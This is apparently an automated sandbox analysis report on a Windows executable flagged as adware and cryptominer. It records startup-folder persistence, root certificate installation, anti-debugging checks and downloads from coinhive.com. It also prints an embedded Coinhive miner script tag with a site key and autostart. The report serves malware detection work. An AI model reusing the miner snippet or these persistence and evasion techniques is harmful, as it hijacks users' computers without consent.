Analysis Report

Overview

General Information

Joe Sandbox Version:	21.0.0
Analysis ID:	472036
Start time:	13:31:50
Joe Sandbox Product:	Cloud
Start date:	03.01.2018
Overall analysis duration:	0h 7m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Fc4oWdmbpJ (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 (Office 2010 SP2, Java 1.8.0_40, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 55, Firefox 43)
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies	HCA enabled EGA enabled GSI enabled (VBA) GSI enabled (Javascript)
Detection:	MAL
Classification:	mal56.adwa.mine.winEXE@6/28@11/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, sppsvc.exe, WMIADAP.exe, WmiApSrv.exe, mscorsvw.exe Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtEnumerateValueKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Skipping Hybrid Code Analysis (implementation is based on Java, .Net, VB or Delphi, or parses a document) for: Fc4oWdmbpJ.exe, windata0.exe

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	56	0 - 100	Report FP / FN

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification

Analysis Advice

Uses HTTPS for network communication, use the 'Proxy HTTPS (port 443) to read its encrypted data' cookbook for further analysis

Signature Overview

Click to jump to signature section

Bitcoin Miner:

Configures the Internet Explorer emulation mode (likely to run Javascript)

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Registry value created: HKEY_USERS\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION Fc4oWdmbpJ.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Registry value created: HKEY_USERS\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION windata0.exe

Found strings related to Crypto-Mining

Show sources

Source: Fc4oWdmbpJ.exe

String found in binary or memory: <script src="https://coinhive.com/lib/miner.min.js" async></script><div class="coinhive-miner" style="width: 256px; height: 310px"data-key="9WWU5nzJXu1rB3gO3Or4atRpOQlqsodr"data-autostart="true"data-whitelabel="false"data-background="#000000"data-text="#eeeeee"data-action="#00ff00"data-graph="#555555"data-threads="1"data-throttle="0"data-start="Start Now!"><em>Please disable Adblock!</em></div>

Networking:

Downloads files

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0SCE2KB1\miner.min[1].js

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: coinhive.com

Urls found in memory or binary data

Show sources

Source: 1BB09BEEC155258835C193A7AA85AA5B_40844D66CCA168B7287809F3A3E01D19.2.dr, 1BB09BEEC155258835C193A7AA85AA5B_40844D66CCA168B7287809F3A3E01D19.7.dr	String found in binary or memory: http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6
Source: 5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220.2.dr, 5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220.7.dr	String found in binary or memory: http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8h
Source: 5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4.2.dr, 5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4.7.dr	String found in binary or memory: http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xC
Source: miner.min[1].js.2.dr, miner.min[1].js.7.dr	String found in binary or memory: https://authedmine.com/authenticate.html
Source: miner.min[1].js.2.dr, miner.min[1].js.7.dr	String found in binary or memory: https://coinhive.com/captcha/
Source: miner.min[1].js.2.dr, miner.min[1].js.7.dr	String found in binary or memory: https://coinhive.com/lib/
Source: windata0.exe.2.dr	String found in binary or memory: https://coinhive.com/lib/miner.min.js
Source: miner.min[1].js.2.dr, miner.min[1].js.7.dr	String found in binary or memory: https://coinhive.com/media/miner.html

Uses HTTPS

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49183
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49180
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown	Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 49182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49177 -> 443

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Creates a window with clipboard capturing capabilities

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Window created: window name: CLIPBRDWNDCLASS

E-Banking Fraud:

Drops certificate files (DER)

Show sources

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BB09BEEC155258835C193A7AA85AA5B_40844D66CCA168B7287809F3A3E01D19
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4

System Summary:

Found graphical window changes (likely an installer)

Show sources

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

PE file contains a COM descriptor data directory

Show sources

Source: Fc4oWdmbpJ.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Contains modern PE file flags such as dynamic base (ASLR) or NX

Show sources

Source: Fc4oWdmbpJ.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

PE file contains a debug data directory

Show sources

Source: Fc4oWdmbpJ.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Show sources

Source:

Binary string: C:\Users\Cyb3rNuX\Documents\Visual Studio 2010\Projects\d4eade42751d70b2eee7875ce3635c7b\d4eade42751d70b2eee7875ce3635c7b\obj\x86\Debug\d4eade42751d70b2eee7875ce3635c7b.pdb source: Fc4oWdmbpJ.exe, windata0.exe.2.dr

Classification label

Show sources

Source: classification engine

Classification label: mal56.adwa.mine.winEXE@6/28@11/6

Creates files inside the user directory

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe

Launches a second explorer.exe instance

Show sources

Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe

PE file has an executable .text section and no other executable section

Show sources

Source: Fc4oWdmbpJ.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Parts of this applications are using the .NET runtime (Probably coded in C#)

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll

Reads ini files

Show sources

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Reads software policies

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Spawns processes

Show sources

Source: unknown	Process created: C:\Users\user\Desktop\Fc4oWdmbpJ.exe 'C:\Users\user\Desktop\Fc4oWdmbpJ.exe'
Source: unknown	Process created: C:\Windows\explorer.exe explorer.exe C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe'
Source: unknown	Process created: C:\Windows\System32\cmd.exe unknown
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe'

Uses an in-process (OLE) Automation server

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8856F961-340A-11D0-A96B-00C04FD705A2}\InProcServer32

PE file contains strange resources

Show sources

Source: Fc4oWdmbpJ.exe	Static PE information: Resource name: RT_ICON type: ump; GLS_BINARY_LSB_FIRST
Source: windata0.exe.2.dr	Static PE information: Resource name: RT_ICON type: ump; GLS_BINARY_LSB_FIRST

Reads the hosts file

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	File read: C:\Windows\System32\drivers\etc\hosts

Sample file is different than original file name gathered from version info

Show sources

Source: Fc4oWdmbpJ.exe	Binary or memory string: OriginalFilenamed4eade42751d70b2eee7875ce3635c7b.exed! vs Fc4oWdmbpJ.exe
Source: Fc4oWdmbpJ.exe	Binary or memory string: OriginalFilenamed4eade42751d70b2eee7875ce3635c7b.exed! vs Fc4oWdmbpJ.exe

Sample reads its own file content

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe

File read: C:\Users\user\Desktop\Fc4oWdmbpJ.exe

Searches for the Microsoft Outlook file path

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Persistence and Installation Behavior:

Drops PE files

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe

Installs new ROOT certificates

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Boot Survival:

Creates a start menu entry (Start Menu\Programs\Startup)

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe

Stores files to the Windows start menu directory

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe\:Zone.Identifier:$DATA

Drops PE files to the startup folder

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Queries a list of all running processes

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe

Process information queried: ProcessInformation

May sleep (evasive loops) to hinder dynamic analysis

Show sources

Source: C:\Windows\explorer.exe TID: 3852	Thread sleep time: -60000s >= -60000s
Source: C:\Windows\explorer.exe TID: 3876	Thread sleep time: -60000s >= -60000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe TID: 3960	Thread sleep time: -120000s >= -60000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe TID: 3960	Thread sleep time: -60000s >= -60000s

Anti Debugging:

Creates guard pages, often used to prevent reverse engineering and debugging

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe

Memory allocated: page read and write and page guard

Checks for debuggers (devices)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Windows\WinSxS\FileMaps\users_user_appdata_roaming_microsoft_windows_start_menu_programs_startup_8dae6c61b8a77b32.cdf-ms

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe

System information queried: KernelDebuggerInformation

Enables debug privileges

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Process token adjusted: Debug

Language, Device and Operating System Detection:

Queries the cryptographic machine GUID

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Queries the volume information (name, serial number etc) of a device

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Queries volume information: C:\Users\user\Desktop\Fc4oWdmbpJ.exe VolumeInformation
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation

Lowering of HIPS / PFW / Operating System Security Settings:

Modifies the internet feature controls of the internet explorer

Show sources

Source: C:\Users\user\Desktop\Fc4oWdmbpJ.exe	Registry value created: HKEY_USERS\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe	Registry value created: HKEY_USERS\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious

Simulations

Behavior and APIs

Time	Type	Description
13:36:17	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe

Antivirus Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Screenshot

Startup

System is w7_1

Fc4oWdmbpJ.exe (PID: 3636 cmdline: 'C:\Users\user\Desktop\Fc4oWdmbpJ.exe' MD5: 26802D3F7895AEB970C47D46B3FE4408)

explorer.exe (PID: 3828 cmdline: explorer.exe C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

explorer.exe (PID: 3856 cmdline: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

windata0.exe (PID: 3884 cmdline: 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe' MD5: 26802D3F7895AEB970C47D46B3FE4408)

cmd.exe (PID: 2356 cmdline: unknown MD5: AD7B9C14083B52BC532FBA5948342B98)

cleanup

